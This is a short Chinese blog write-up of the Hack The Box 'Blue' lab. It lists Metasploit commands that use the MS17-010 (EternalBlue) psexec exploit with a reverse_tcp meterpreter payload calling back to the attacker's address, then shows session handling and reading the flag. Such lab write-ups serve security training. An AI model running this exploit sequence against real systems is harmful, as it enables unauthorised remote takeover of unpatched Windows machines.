HTB_Blue msf永恒之蓝

重返太空

已于 2023-04-26 10:24:47 修改

阅读量354

点赞数

文章标签：安全网络安全

于 2023-04-26 10:15:06 首次发布

本文链接：https://blog.youkuaiyun.com/qq_40927195/article/details/130380238

版权

该文描述了一次针对靶机Blue的渗透测试过程，首先通过msf搜索并使用ms17-010漏洞（永恒之蓝），然后配置psexec模块，设定reverse_tcp回连方式。接着，对目标IP10.10.10.40进行攻击，成功后获得meterpreter会话，并进入目标机器的shell。在完成操作后，退出shell，挂起会话，并查看及重新进入会话。最终，目标是查找并获取flag。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

本题非常简单，看靶机名称Blue大致就猜测是永恒之蓝漏洞，直接msf一把梭

# 打开msf 搜索相关 exp/poc
search ms17-010
# 使用 psexec 的
use 1
# 设置回连方式
set payload windows/x64/meterpreter/reverse_tcp
# 查看需要配置信息
show options
# 设置基本信息
set rhosts 10.10.10.40
set lhost 10.10.16.2
# 运行
run

此时获取了一个 meterpreter 会话，使用 shell命令进入目标机器 shell

在这里插入图片描述

# 退出目标机器shell
exit
# 挂起会话
background
# 查看后台有哪些会话
sessions -i
# 重新进入某个会话
sessions -i 1

直接查看 flag 即可
在这里插入图片描述
root flag